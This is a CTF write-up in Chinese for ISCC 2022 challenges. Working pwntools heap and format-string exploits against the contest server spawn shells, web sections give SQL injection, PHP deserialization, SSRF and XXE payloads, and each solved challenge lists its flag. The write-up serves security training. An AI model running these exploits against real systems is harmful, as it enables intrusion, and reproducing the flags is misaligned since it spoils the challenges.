ISCC 2022

PWN

跳一跳(未写完

程序流程较为简单,发现为64位全保护开启的ELF文件;

img

sim_treasure

简单的32位循环格式化字符串漏洞,位于栈上,无过滤\x00;且对于got表无防护,故利用格式化字符串漏洞对地址泄露,并写入printf@got为system函数地址;

调试如下:

img

exp如下:(运行之后,需要先敲击回车方可获取权限;

from pwn import *
context(os='linux',arch='i386')

r = remote('123.57.69.203',7010)
libc = ELF('./libc-2.27.so')
sl = lambda payload : r.sendline(payload)
ru = lambda str : r.recvuntil(str)

ru("Can you find the magic word?\n")
sl('%35$p')#泄露libc地址,计算偏移量得到system函数地址
libc_base = int(r.recvuntil(b'\n')[:-1],16)-libc.symbols['__libc_start_main']-241
system = libc_base+libc.symbols['system']

payload = fmtstr_payload(6,{0x8049a60:system})#写入printf@got为system函数地址
sl(payload)
#gdb.attach(r)
r.send(b'/bin/sh\x00')#触发system("/bin/sh\x00");获取权限

r.interactive()

img

ISCC{a080-1273-4251-bbc7-aa89}

untidy_note

位于Free释放函数之中,存在UAF漏洞;位于Edit编辑函数之中,存在堆溢出漏洞;但是位于远程版本之中,无法造成tcache double free;故采用堆溢出来造成堆块重叠;进而获取权限;

调试如下:(泄露地址是为关键,但是程序不允许申请大的堆块;故利用malloc_consolidate触发得到unsorted bin的堆块,进而泄露地址;

img

如下,修改成功;

img

exp如下:

from pwn import *

binary = './untidy_note'
r = remote('123.57.69.203',7030)
#r = process(binary)
elf = ELF(binary)
#libc = elf.libc
libc = ELF('./libc-2.27.so')
sla = lambda str,pay : r.sendlineafter(str,pay)
def malloc(size=0x18):
    sla("Your choose is:\n",'1')
    sla("the note size is:\n",str(size))

def free(index):
    sla("Your choose is:\n",'2')
    sla("index:\n\n",str(index))

def edit(index,payload):
    sla("Your choose is:\n",'3')
    sla("index:\n",str(index))
    sla("the size is:\n",str(len(payload)))
    r.sendafter("Content:\n",payload)

def print(index):
    sla("Your choose is:\n",'4')
    sla("index:\n",str(index))

sla("Welcome to use untidy_note,Your name is:",'HN-meng')
for i in range(18):
    malloc(0x1f)
malloc(0x6)#18
for i in range(18):
    free(i)

edit(18,b'a'*0x18+p64(0x11))
malloc()#1  触发malloc_consolidate,从而得到unsorted bin
print(1)#1	泄露地址,进而可以计算出free_hook地址与system地址

libc_base = u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-608-0x10-libc.symbols['__malloc_hook']
free_hook = libc_base+libc.symbols['__free_hook']
system = libc_base+libc.symbols['system']

edit(6,p64(free_hook))#编辑tcache[0x30][0/7]的fd指针,使其指向free_hook位置
malloc(0x1f)#2
malloc(0x1f)#3	申请free_hook地址内容
edit(3,p64(system))# 写入system函数地址
edit(2,b'/bin/sh\x00')
#gdb.attach(r)
free(2)#触发system("/bin/sh\x00");获取权限

r.interactive()

img

ISCC{f1a4-75fe-4e77-9084-c69f}

create_id

函数流程极其简单,题目极其简单;

img

exp如下:

from pwn import *
context(os='linux',arch='i386')

r = remote('123.57.69.203',5310)
x_addr = int(r.recvuntil("\n")[:-1],16)
for i in range(3):
    r.sendline('0')

payload = fmtstr_payload(10,{x_addr:9})
r.sendlineafter("What's your name?\n",payload)

r.interactive()

ISCC{a54a-aa1e-4d2d-942e-21f8}

heapheap

该为2.27libc的堆题;较为简单,主体流程清晰可见,仅仅存在申请函数与释放函数;相当于malloc与free函数套了层壳而已;

img

漏洞位于Allocate申请函数之中,存在off by null漏洞;

img

而Free释放函数之中,却存在着一个较为严密的保护:

img

此时我们已知信息off by null;且libc为2.27;而libc2.27相对于libc2.23之中的Unlink多了一下保护:

if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))
    malloc_printerr ("corrupted size vs. prev_size");

该保护杜绝了我们利用Unlink向后合并,但时并没有杜绝Unlink向前合并;故利用Unlink向前合并来造成堆块重叠,进而连续利用该漏洞攻击__malloc_hook为gadget即可;步骤如下:

  1. 首先布局,形成0x4ef-0xf0-0x4ef-0xf0的堆块,此时利用off by null漏洞,将第三块堆的prev_inuse与prev_size修改;进而释放第一块堆,造成与第三块堆,而第二块堆被合并重叠;
  2. 此时攻击_IO_2_1_stdout_来泄露libc地址;首先利用堆块重叠,造成两个tcache bin位于同一位置,进而修改unsorted bin残留下来的fd指针指向_IO_2_1_stdout_,进而泄露地址;概率为1/16
  3. 同时,泄露地址之后。再次利用堆块重叠,使tcache bin的fd指针指向__malloc_hook,进而修改为gadget,再次申请即可获取权限;

调试如下:

img

img

img

exp如下:

from pwn import *
context(os='linux',arch='amd64')

binary = './heapheap'
elf = ELF(binary)
#libc = elf.libc
libc = ELF('./libc-2.27.so')
def Allocate(size=0xf0,data=b'/bin/sh\x00'):
    r.sendlineafter("Please input your choice: ",'1')
    r.sendlineafter("Please input the size:",str(size))
    r.sendafter("Data:",data)

def Free(index):
    r.sendlineafter("Please input your choice: ",'2')
    r.sendlineafter("Please input the index:",str(index))

one = [0x4f3d5,0x4f432,0x10a41c]
def pwn():
    Allocate(0x4ef)#0
    Allocate()#1
    Allocate(0x4ef)#2
    Allocate()#3

    Free(2)
    Free(1)
    Free(0)
    Allocate(0xf8,b'a'*0xf0+p64(0x600))#0
    Allocate(0x4f0)#1
    Free(1)#堆块重叠  位于中间堆块为0

    Free(0)#释放tcache bin[0x100]  提前准备
    Allocate(0x4ef)#0
    Allocate(0x5f,b'\x60\xd7')#1  重叠块  爆破

    payload = p64(0xFBAD1800)+p64(0)*3+p8(0)
    Allocate()#2
    Free(2)#释放tcache bin[0x70]    提前准备
    #gdb.attach(r)
    Allocate(0xf0,payload)#2  IO

    buf = r.recvuntil("****")
    stdin_addr = u64(buf[len(buf)-31:len(buf)-23])#leak
    libc_base = stdin_addr-libc.symbols['_IO_2_1_stdin_']
    malloc_hook = libc_base+libc.symbols['__malloc_hook']
    info("leak success")
    success(hex(libc_base))
    success(hex(stdin_addr))

    # 1 2
    Free(1)
    Allocate(0x5f,p64(malloc_hook))#4
    Allocate(0x5f)#5
    Allocate(0x5f,p64(one[2]+libc_base))#6
    #gdb.attach(r)
    info("attack success")
    r.sendlineafter("Please input your choice: ",'1')
    r.sendlineafter("Please input the size:",str(0x18))
    
    r.interactive()#0x3eba00
    

while(True):
    try:
        #r = process(binary)
        r = remote('123.57.69.203',5320)
        pwn()
    except:
        r.close()
        warn("can you try again")

img

ISCC{bfa8-f7b7-49ee-8cbe-b455}

unlink

发现为64位GLIBC为2.27的ELF;流程极为简易,如下(存在堆溢出漏洞):

img

故采用常规的2.27libc之中的Unlink向前合并,此时发现并没有给出libc附件,故采用LibcSearcher库;

思路:

  1. 存在堆溢出漏洞,故利用Unlink向前合并,得到重叠堆块;
  2. 进而可以利用remove函数之中释放前打印来泄露地址;
  3. 从而计算出free_hook地址,进而利用堆溢出修改tcache bin的fd指针,进而修改free_hook为system函数地址;
  4. 执行remove函数,获取权限

如下,为通用的Unlink攻击手段:(该exp本地通过,远程未通过;

from pwn import *
from LibcSearcher import LibcSearcher
context(log_level='debug',os='linux',arch='amd64')

binary = './attachment-38'
r = remote('123.57.69.203',5810)
#r = process(binary)
elf = ELF(binary)
libc = elf.libc
free_got = elf.got['free']
system_plt = elf.plt['system']
sh_addr = 0x0400896
def Allocate(index,size=0x18,data=b'/bin/sh'):
    r.sendline("add")
    r.sendlineafter("Index: ",str(index))
    r.sendlineafter("Size: ",str(size))
    r.sendlineafter("Data: ",data)

def Free(index):
    r.sendline("remove")
    r.sendlineafter("Index: ",str(index))

Allocate(0,0x410)#0
Allocate(1,0x68)#1
Allocate(2,0x410)#2
Allocate(3,0x68)#3

Free(2)
Free(1)
Free(0)
Allocate(0,0x410)#0
Allocate(1,0x68,b'a'*0x60+p64(0x490)+p64(0x420))#1
Free(0)#堆块重叠

#Free(1)
Allocate(0,0x3f0)
Allocate(2,0x18,b'b'*0x18+p32(0x71))
Free(1)
main_arena = u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-96
libc = LibcSearcher('__malloc_hook',main_arena-0x10)
#libc_base = u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-96-0x10-libc.symbols['__malloc_hook']
libc_base = main_arena-libc.dump('__malloc_hook')-0x10
system = libc_base+libc.dump('system')#libc.symbols['system']
free_hook = libc_base+libc.dump('__free_hook')#libc.symbols['__free_hook']

Free(2)
Allocate(2,0x18,b'c'*0x18+p64(0x71)+p64(free_hook))

Allocate(1,0x68)
Allocate(2,0x68,p64(system))
success(hex(libc_base))
#gdb.attach(r)
Free(1)

r.interactive()

故排除错误,发现了错误位于上方脚本38行;进行尝试,发现远程libc2.27存在key;同时发现程序之中存在后门函数,故可以省略泄露地址该步骤;在堆块重叠之后直接可以修改got表为后面函数地址;

img

exp如下:(该exp远程通过

from pwn import *
context(log_level='debug',os='linux',arch='amd64')

r = remote('123.57.69.203',5810)
elf = ELF('./attachment-38')
puts_got = elf.got['puts']
def Allocate(index,size=0x18,data=b'/bin/sh'):
    r.sendline("add")
    r.sendlineafter("Index: ",str(index))
    r.sendlineafter("Size: ",str(size))
    r.sendlineafter("Data: ",data)

def Free(index):
    r.sendline("remove")
    r.sendlineafter("Index: ",str(index))

Allocate(0,0x410)#0
Allocate(1,0x68)#1
Allocate(2,0x410)#2
Allocate(3,0x68)#3

Free(2)
Free(1)
Free(0)
Allocate(0,0x410)#0
Allocate(1,0x68,b'a'*0x60+p64(0x490)+p64(0x420))#1
Free(0)#堆块重叠

Free(1)
Allocate(5,0x410)
Allocate(0,0x70,p64(puts_got))

Allocate(1,0x68,b'/bin/sh\x00')
Allocate(2,0x68,p32(0x400706)+b'\x00\x00')#0x400706
#gdb.attach(r,'b *0x400a8a')
Free(1)

r.interactive()

ISCC{bbe4-b83a-47f8-8264-3411}

h-o-s

存在逻辑漏洞,故可以造成堆块重叠;

img

思路:

  1. 利用逻辑漏洞,将bss_ck[-1]块free掉,而bss_ck[-1]将布置为bss_ck[-1],故我们可以往bss_ck之中写入任何地址了;
  2. 利用fgets的特征,写入内容+1置零,将bss_ck之中的堆块末尾置零,进而释放fake_chunk(fake_chunk需要堆风水提前布置好)
  3. 恢复结构,将我们这一系列的堆风水所破坏的size域等修复好;并泄露libc地址(这里已泄露地址,但是远程未通过,本地通过;
  4. 利用我们所制造的fake_chunk将tcache bin的fd指向free_hook,进而修改其为system;故释放获取权限!

查询libc库,找了很多libc,但是远程依旧不通;此时我们想到了其中存在着后门函数,故我们直接往free_hook写入后门函数即可获取权限;

img

exp如下:

from pwn import *
from LibcSearcher import *
context(log_level='debug',os='linux',arch='amd64')

binary = './attachment-39'
r = remote('123.57.69.203',5820)
#r = process(binary)
elf = ELF(binary)
#libc = elf.libc
#libc = ELF("/home/pwn/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so")
bss_ck = 0x0601120
cmd = 0x6010a0
def malloc(size=0x18,data=b''):
    r.sendline("fill")
    r.sendline(str(size))
    r.sendline(data)

free = lambda : r.sendline("get")
freeOver = lambda payload : r.sendline(b"get".ljust(8,b'\x00')+payload)

malloc(0x91,b'a'*0x80+p64(0)+p64(0xf1))
for i in range(7):
    malloc(0x91)
for i in range(6):
    free()
freeOver(p64(0)*2+p64(0xc1)+p64(0)+p64(0xb1)+b'a'*0x48+p64(0x6010c0))

free()
free()

malloc(0x41)
malloc(0x48)#消除 unsorted bin
free()#排布bss_ck
malloc(0x91)
malloc(0xb1,p64(0)+p64(0xb1)+b'b'*0x48+p32(0x6010c0)+b'\x00\x00\x00')
free()
free()

malloc(0x91)
for i in range(3):
    malloc(0xa0)
for i in range(3):
    free()
malloc(0xe1,p64(0)+p64(0xa1)+b'c'*0x90+p64(0)+p64(0x521))
free()
free()

malloc(0x91)
malloc(0x91)
malloc(0x130)
malloc(0xe1,p64(0)+p64(0xa1)+b'c'*0x90+p64(0)+p64(0x151))
free()
free()
malloc(0x140,b'd'*0x90+p64(0)+p64(0xa1)+b'd'*0x90+p64(0)+p64(0xa1))
free()
malloc(0xe1,p64(0)+p64(0xa1)+b'c'*0x90+p64(0)+p64(0x141))
free()#恢复结构

free()#泄露libc地址
main_arena = u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-96
#libc = LibcSearcher('__malloc_hook',main_arena-0x10)
#libc_base = main_arena-0x10-libc.dump('__malloc_hook')
#system = libc_base+libc.dump('system')
#free_hook = libc_base+libc.dump('__free_hook')
'''libc_base = main_arena-0x10-libc.symbols['__malloc_hook']
system = libc_base+libc.symbols['system']
free_hook = libc_base+libc.symbols['__free_hook']'''
libc_base = main_arena-0x10-0x03ebc30
free_hook = libc_base+0x03ed8e8
system = libc_base+0x004f550

free()
malloc(0x140,b'e'*0x90+p64(0)+p64(0xa1)+p64(free_hook-0x8))
malloc(0x91)
malloc(0x91,b'/bin/sh\x00'+p64(system))
success(hex(cmd))
success("libc_base -> "+hex(libc_base))
success(hex(main_arena-0x10))
#gdb.attach(r)
#free()
malloc(0xa1,b'/bin/sh\x00')
free()

r.interactive()

ISCC{af31-219c-4214-b561-930e}

Huge_Space(未写

from pwn import *
context(log_level='debug',os='linux',arch='amd64')

binary = './attachment-33'
#r = remote('123.57.69.203',5330)
r = process(binary)
elf = ELF(binary)
libc = elf.libc

pop_rdi_ret = 0x00400be3
leave_ret = 0x0040090f
ret = 0x00400709
sh = 0x04008F6
cmd_addr = 0x6010c0
def Allocate(index,size=0x18,data=b'/bin/sh\x00'):
    r.sendline("+++")
    r.sendlineafter("Index:",str(index))
    r.sendlineafter("Size: ",str(size))
    r.sendlineafter("Data: ",data)

def Show(index,size):
    r.sendline("print")
    r.sendlineafter("Index: ",str(index))
    r.sendlineafter("Size: ",str(size))

r.sendline(p64(0)*8+p64(cmd_addr+0x350)+p64(leave_ret))#布置栈迁移

Allocate(0,0x18,p64(0)*3+p64(0xd81))#修改top chunk的size域
Allocate(1,0x1000)#触发malloc consolidate

Allocate(2,0xd50,b'aaaaaa')#将原heap申请完毕
Show(2,0x10)#泄露地址
main_arena = u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-96
libc_base = main_arena-0x10-libc.symbols['__malloc_hook']

Allocate(3,0x22000,b'a'*0x10+b'\x00'*(0x24518)+p64(0))#24518
success(hex(main_arena))
gdb.attach(r,'b *0x400b65')#gdb.attach(r,'b *0x0400971')

one1 = 0x0400BDA
one2 = 0x0400BC0
payload = p64(one1)+p64(0)+p64(1)+p64(cmd_addr+0x10)+p64(0)+p64(0)+p64(0x601458)+p64(one2)+b'/bin/sh\x00'
r.sendline(b"exit\x00\x00\x00\x00"+b'/bin/sh\x00'+p64(sh)+b'b'*0x340+payload)


r.interactive()

WEB

冬奥会

该题较为简单;

img

ISCC{W11lcOme_t0_Beijing8_2O22_W111Nter_0lymp1cs}

Easy-SQL

如下,发现

┌──(kali㉿kali)-[~/桌面]

└─$ sqlmap -u “http://59.110.159.206:7010/?id=1” -dbs --batch

img

然后经过测试,发现select被ban了,故利用MYSQL8特性TABLE发现了zip文件

img

对http://59.110.159.206:7010/ypHeMPardErE.zip@beaxia.cn该链接进行下载zip文件

如下语句,为拼接语句;GET[id]无法使用select语句;
$sql = "select * from users where id=$id";
$safe = preg_match('/select/is', $id);

如下为POST[username、passwd]的传参,以及拼接代码;发现对于passwd经过了sqlWaf过滤;
$username = strval($_POST['username']);
$passwd = strval($_POST['passwd']);
if ( !sqlWaf($passwd) )
    die('damn hacker');
$sql = "SELECT * FROM users WHERE username='${username}' AND passwd= '${passwd}'";

sqlWaf函数如下:
function sqlWaf($s)
{
    $filter = '/xml|extractvalue|regexp|copy|read|file|select|between|from|where|create|grand|dir|insert|link|substr|mid|server|drop|=|>|<|;|"|\^|\||\ |\'/i';
    if (preg_match($filter,$s))
        return False;
    return True;
}

img

ISCC{Sql123_InJect10n_Is_sImp15le_IsNT_it}

Pop2022

首先发现为PHP反序列化攻击,同时发现其为原题BUUCTF [MRCTF2020]Ezpop;仅仅改了变量而已;可以查询资料;开始攻击;如下为分析过程:

class Road_is_Long{
    public $page;
    public $string;
    public function __construct($file='index.php'){//创建时,触发该函数
        $this->page = $file;
    }
    public function __toString(){//当echo对象时,触发该函数
        return $this->string->page;
    }

    public function __wakeup(){//反序列化触发该函数
        if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {
            echo "You can Not Enter 2022";
            $this->page = "index.php";
        }
    }
}

class Try_Work_Hard{
    protected  $var;
    public function append($value){
        include($value);//包含文件,危险函数
    }
    public function __invoke(){//当对象作为函数调用的时候,将会调用该函数
        $this->append($this->var);
    }
}

class Make_a_Change{
    public $effort;
    public function __construct(){
        $this->effort = array();
    }

    public function __get($key){//当访问一些不可访问的对象属性时,调用该方法
        $function = $this->effort;
        return $function();
    }
}

如下为exp;(将会获取flag.php经过base64转换后的密文,故使用base64解密即可;

class Try_Work_Hard {
  protected  $var="php://filter/read=convert.base64-encode/resource=flag.php";
  
}

class Make_a_Change{
  public $effort;
  
}
class Road_is_Long{
  public $page;
  public $string;
  public function __construct(){
    $this->string = new Make_a_Change();
  }
}

$a = new Road_is_Long();
$a->page = new Road_is_Long();
$a->page->string->effort = new Try_Work_Hard();
echo urlencode(serialize($a));
/*
思路为:
首先让Make_a_Change对象中的$effort作为对象,然后触发__get函数,导致$effort作为函数执行;
此时我们让$effort为Try_Work_Hard对象,则会执行__invoke函数,进而调用了append函数,进行了文件包含攻击,读出flag
链子图如下:
Road -|-
      |-page    ->   Road -|-
      |-string						 |-page			->		Make -|-
                           |-string							  |-effort     ->     Try -|-
                                                                           |-var
*/

img

解密后原文如下:

<?php //ISCC{125fafa1_BeiJIN9G_H0t_fffffff5word}

让我康康!(未写完

经过一定的尝试,发现访问一些路径时Server字段改为了mitmproxy;而mitmproxy为中间代理;故服务端为gunicorn/20.0.0服务,且存在中间代理;故可以尝试请求走私;

img

如下,小小测试,得到一个flag所在位置信息,尝试直接访问,发现被WAF了

img

尝试走私,利用gunicorn <= 20.0.4版本下的通用走私漏洞;发现存在走私漏洞;

img

secr3t_ip:127.0.0.1

findme

首先查看源码,发现提示信息 ;故访问http://59.110.159.206:8030/unser.php;得到源码;

<?php
  highlight_file(__FILE__);

class a{
  public $un0;
  public $un1;
  public $un2;
  public $un3;
  public $un4;
  
  public function __destruct(){
    if(!empty($this->un0) && empty($this->un2)){
      $this -> Givemeanew();
      if($this -> un3 === 'unserialize'){
        $this -> yigei();
      }
      else{
        $this -> giao();
      }
    }
  }
  
  public function Givemeanew(){
    $this -> un4 = new $this->un0($this -> un1);
  }
  
  public function yigei(){
    echo 'Your output: '.$this->un4;
  }
  
  public function giao(){
    @eval($this->un2);
  }
  
  public function __wakeup(){
    include $this -> un2.'hint.php';
  }
}

$data = $_POST['data'];
unserialize($data);

可以发现存在hint.php位于__wakeup()魔术方法之中;故使用php伪协议经过拼接读取hint.php;

<?php
highlight_file(__FILE__);
class a{
  public $un0;
  public $un1;
  public $un2;
  public $un3;
  public $un4;
  public function __construct(){ 
    include $this -> un2.'hint.php';
  }
}

$a=new a();
$a->un2= 'php://filter/read=convert.base64-encode/resource=';
$s = serialize($a);
echo $s;
#O:1:"a":5:{s:3:"un0";N;s:3:"un1";N;s:3:"un2";s:49:"php://filter/read=convert.base64-encode/resource=";s:3:"un3";N;s:3:"un4";N;}

如下,发现了hint.php:

img

<?php $a = 'flag在当前目录下以字母f开头的txt中,无法爆破出来';

如上,为解密后的内容,此时我们便得知了一个新的信息,flag所在位置信息;

glob是php自5.3.0版本起开始生效的一个用来筛选目录的伪协议,由于它在筛选目录时是不受open_basedir的制约的,所以我们可以利用它来绕过限制,我们新建一个目录在/var/www/下命名为test;

FilesystemIterator为php目录迭代器

故利用glob伪协议,查看匹配的文件路径模式;进而得到flag文件名,进而访问该文件得到flag;

<?php
highlight_file(__FILE__);
class a{
	public $un0= 'FilesystemIterator';
	public $un1= 'glob://f*';
	public $un3= 'unserialize';
}
$a = new a();
echo serialize($a);

img

ISCC{W0w!_You_r3a1_KN0~_Unse2!!!}

爱国敬业好青年-2

首先查看源代码,发现了一些特别的东西,如下:

<script>
  $(document).ready(function(){//ready方法档加载后激活函数
    $("iframe").attr({"src":"inner"})//iframe中src属性嵌套的页面的 URL 地址
    $.ajax({url:"change",type:"GET"});//该部分访问了远程的url资源
    $("button").removeAttr("disabled");//该部分移除了disabled属性
    setTimeout(function () {$("button").attr({"disabled":"true"});},1200)
    setTimeout(function () {$.ajax({url:"change",type:"POST"});},2000)
    
  });
</script>
<!该部分为js代码,可以发现其使用了ajax(该方法通过 HTTP 请求加载远程数据)


<form class="form" id="a-form" method='POST' action="flag">
<button type="submit" id='true_button' disabled ='true'>提交</button>
<!该部分为html代码,可以发现其使用了POST方法,访问了flag页面;
<p>经纬度示例:177°30'E, 25°33'N<a style ="border:none;cursor:default;" onclick="return false" href="info"></a>!</p>
<!该代码可以发现存在info页面,该页面为一个假的flag;而对于onclink事件返回假,无法返回真;

故,我们根据该部分代码,发现了inner、change、flag、info四个页面;而这四个url资源分别负责不同的功能;inner页面为提交页面,嵌入到了原页面;change猜测为一个开关;flag页面为flag所在页面,但不能直接访问;info页面为一个假的flag页面;

查看inner页面,发现如下js代码:

<button style="opacity: 1" type="submit" id='button' onclick="enable()">提交</button>
<script type="text/javascript">
function enable(){
    window.alert('flas=icss{Y0u_M@y_FiNd_1_WRONG_eNtrance!!!}')
}
</script>
<!该部分代码将永远返回的是假的flag

此时再看原网页代码,发现其以POST的形式提交给flag页面 lati、langti变量于flag页面,但是由于原页面的js代码限制,无论提交什么都会返回假的flag,而提交形式提示为经纬度;

img

经过多次尝试,发现模拟原网页的访问流程;但绕过原网页的限制直接对flag页面POST传参,首先访问change页面,再次POST传参flag页面(北京天安门广场经纬度),发现flag;

ISCC{YY9YYe7Eessss_1_10vE_ChIN@0_159SNO}

这是一道代码审计题

访问页面,发现提示为/index,故访问index页面,发现出现字符404;然后使用BP抓包,发现存在Cookie字段,而我们并未有过登录的操作,故我们尝试修改Cookie,发现提示:

img

故添加尝试传参?url=127.0.0.1,发现代码;

img

访问页面,发现存在加密,故进行base100解密,进而获取源代码;

from flask import render_template
import addr as addr
import urlparse
import struct
import socket
import base64
import re

def geneSign():
    if(control_key==1):
        return render_template("index.html")#返回替换模板参数后的模板文本,即返回index.html文本内容,经过尝试,发现无法直接访问
    else:
        return "You have not access to this page!"

def check_ssrf(url):#检测ssrf函数,关键函数
    hostname = urlparse(url).hostname#urlparse库用于把url解析为各个组件,此时得到主机名(即域名或IP地址
    try:
        if not re.match('https?://(?:[-\w.]|(?:%[\da-fA-F]{2}))+', url):#正则匹配
            if not re.match('https?://@(?:[-\w.]|(?:%[\da-fA-F]{2}))+', url):#该处匹配了@字符,与下方的匹配一直
                raise BaseException("url format error")
        if re.match('https?://@(?:[-\w.]|(?:%[\da-fA-F]{2}))+', url):#看似需要通过三处匹配,实则只进行了一个匹配
            if judge_ip(hostname):#需要再次通过跳转IP函数
                return True
            return False, "You not get the right clue!"
        else:#该跳转之后为False,无需关心
            ip_address = socket.getaddrinfo(hostname,'http')[0][4][0]
            if is_inner_ipaddress(ip_address):
                return False,"inner ip address attack"
            else:
                return False, "You not get the right clue!"
    except BaseException as e:
        return False, str(e)
    except:
        return False, "unknow error"

def ip2long(ip_addr):
    return struct.unpack("!L", socket.inet_aton(ip_addr))[0]

def is_inner_ipaddress(ip):
    ip = ip2long(ip)
    print(ip)
    return ip2long('127.0.0.0') >> 24 == ip >> 24 or ip2long('10.0.0.0') >> 24 == ip >> 24 or ip2long('172.16.0.0') >> 20 == ip >> 20 or ip2long('192.168.0.0') >> 16 == ip >> 16 or ip2long('0.0.0.0') >> 24 == ip >> 24

def waf1(ip):#该函数相当于匹配是否存在forbidden_list列表之中的字符
    forbidden_list = [ '.', '0', '1', '2', '7']
    for word in forbidden_list:
        if ip and word:
            if word in ip.lower():
                return True
    return False

def judge_ip(ip):
    if(waf1(ip)):#首先需要通过一层WAF
        return False
    else:
        addr = addr.encode(encoding = "utf-8")
        ipp = base64.encodestring(addr)#base64
        ipp = ipp.strip().lower().decode()#分割小写
        if(ip==ipp):#判断是否相等
            global control_key
            control_key = 1#如果相等,则设置key为1
            return True
        else:
            return False

进行一定的代码审计,发现我们直接传入127.0.0.1将会被ban掉;所以按代码逻辑,将127.0.0.1进行base64加密之后为MTI3LjAuMC4x,故该加密最后执行时将会被解密为127.0.0.1,从而达到SSRF的效果;

img

此时我们又得到了新的信息,便是/mti3ljaumc4x与一个Cookiea_cookie = aW4gZmFjdCBjb29raWUgaXMgdXNlZnVsIQ==

故我们携带该Cookie并访问页面/mti3ljaumc4x,发现存在登录框,且泄露了一定的信息:

img

尝试采用XXE泄露flag;

<script type="text/javascript">
  function codelogin(){
  var name = $("#name").val();
  var password = $("#password").val();
  if(name == "" || word == ""){
    alert("Please enter the username and password!");
    return;
  }
  //声明数据,将位于下方ajax访问之中传递数据
  var data = "<user><name>" + name + "</name><password>" + password + "</password></user>";
  $.ajax({
    contentType: "application/xml;charset=utf-8",
    type: "POST",
    url: "codelogin",//发现存在codelogin页面
    data: data,//数据
    dataType: "xml",//表明数据为xml类型
    anysc: false,
    success: function (result) {//getElementsByTagName返回带有指定标签名的对象的集合
    var code = result.getElementsByTagName("code")[0].childNodes[0].nodeValue;
    var msg = result.getElementsByTagName("msg")[0].childNodes[0].nodeValue;
    if(code == "0"){
      $(".msg").text(msg + " login fail!");//返回 id 为 msg 的元素节点的文本内容
    }else if(code == "1"){
      $(".msg").text(msg + " login success!");
    }else{
      $(".msg").text("error:" + msg);
    }
  },
    error: function (XMLHttpRequest,textStatus,errorThrown) {
      $(".msg").text(errorThrown + ':' + textStatus);
    }
});
}
</script>

故我们可以直接向codelogin页面以POST形式提交data,而data之中利用XXE来泄露出flag;故利用$(“.msg”).text进而回显flag

img

ISCC{jQvb8-aqiuVtrX19-i71bl18c-ew08Sq0xf}

参考链接: XXE从入门到放弃

Reverse

Amy’s Code

首先PE探测为32位;进而使用ida32打开;搜索main函数;

发现sub_411433函数之中sub_412550函数存在加密流程;加密过程为如下;array为数组,ida32可以查看发现;同时发现sub_4115FF(Destination);之中存在异或加密;

strcpy((char *)str, "LWHFUENGDJGEFHYDHIGJ");
HIBYTE(str[10]) = 0;
str[11] = 0;
v7 = 0;
v8 = 0;
len = j__strlen(flag);
j__memset(array, 0, 0x78u);
for ( i = 0; i < len; ++i )
    array[i] = *((char *)str + i) + flag[i];

如下为解密脚本;

array = [149,169,137,134,212,188,177,184,177,197,192,179,153,145,156,193,161,190,161,184]
str = "LWHFUENGDJGEFHYDHIGJ"
flag = ""
for i in range(len(str)):
    flag = array[i] - ord(str[i])
    flag ^= i
    print(chr(flag),end='')

ISCC{reverse_DMrIdH}

How_decode

64位Windows可执行程序,使用ida64进行反汇编,发现以下关键代码:

img

因为mm数组为int类型,32位;而python很难去处理这样拥有固定上限的数据,所以我们采用C语言来处理这样的数据;

img

如上为关键加密脚本;故我们根据上面代码于C编译器之中,修改部分代码运行即可获取flag;

如下为解密脚本:

#include<iostream>
using namespace std;

void __cdecl decode(int *v, int n, const int *key)
{
    int *v4; // rax
    int *v5; // rax
    int y; // [rsp+8h] [rbp-18h]
    int e; // [rsp+Ch] [rbp-14h]
    int rounds; // [rsp+10h] [rbp-10h]
    int p; // [rsp+14h] [rbp-Ch]
    int sum; // [rsp+18h] [rbp-8h]
    int z; // [rsp+1Ch] [rbp-4h]
    //v为输入的flag,n为输入的长度18,key为固定值 
    rounds = 52 / n + 6;
    sum = rounds * -1640531527;
    y = v[0];
    for (; rounds--;)
    {
        e = (sum >> 2) & 3;//固定值 
        for ( p = n - 1; p >= 0 ; --p )
        {
            z = v[(p + n -1)%n];
            v4 = &v[p];
            *v4 -= ((y ^ sum) + (z ^ key[e ^ (p & 3)])) ^ (((4 * y) ^ (z >> 5)) + ((y >> 3) ^ (16 * z)));
            y = v[p];
        }
        sum += 1640531527;
    }
}

int main()
{
    int mm[32]; // [rsp+20h] [rbp-60h] BYREF
    int k[4]; // [rsp+A0h] [rbp+20h] BYREF
    mm[0] = 137373765;
    mm[1] = -1499780648;
    mm[2] = 724715491;
    mm[3] = 81257581;
    mm[4] = 1504671520;
    mm[5] = -1297390125;
    mm[6] = -915424294;
    mm[7] = -1643886293;
    mm[8] = 370393719;
    mm[9] = 837200773;
    mm[10] = 554624892;
    mm[11] = -440804440;
    mm[12] = 1197608501;
    mm[13] = 1866916284;
    mm[14] = -2081810180;
    mm[15] = 236155496;
    mm[16] = 748155328;
    mm[17] = -1413892284;
    k[0] = 73;
    k[1] = 83;
    k[2] = 67;
    k[3] = 67;
    decode(mm, 18, k);
    for(int i = 0; i < 18 ; i++){
        printf("%c", mm[i]);
    }
    return 0;
 } //ISCC{Kqykc0kdNjcD}

ISCC{Kqykc0kdNjcD}

Sad Code

分析main_0函数,流程较为简单且明显,如下:

img

故利用z3该python库,来解决该多元方程组,脚本如下:

from z3 import *

s = Solver()
mith = [Int(f'{i}') for i in range(8)]
s.add(mith[2] + 7 * mith[1] - 4 * mith[0] - 2 * mith[3] == 0x1F6B7856C)
s.add(5 * mith[3] + 3 * mith[2] - mith[1] - 2 * mith[0] == 0x10BE1E7C7)
s.add(2 * mith[1] + 8 * mith[3] + 10 * mith[0] - 5 * mith[2] == 0x49CB05E09)
s.add(7 * mith[0] + 15 * mith[1] - 3 * mith[3] - 2 * mith[2] == 0x7EA87530B)
s.add(15 * mith[4] + 35 * mith[7] - mith[5] - mith[6] == 0xCABA96AC9)
s.add(38 * mith[6] + mith[4] + mith[7] - 24 * mith[5] == 0x51198C284)
s.add(38 * mith[5] + 32 * mith[4] - mith[6] - mith[7] == 0x14C896AD3E)
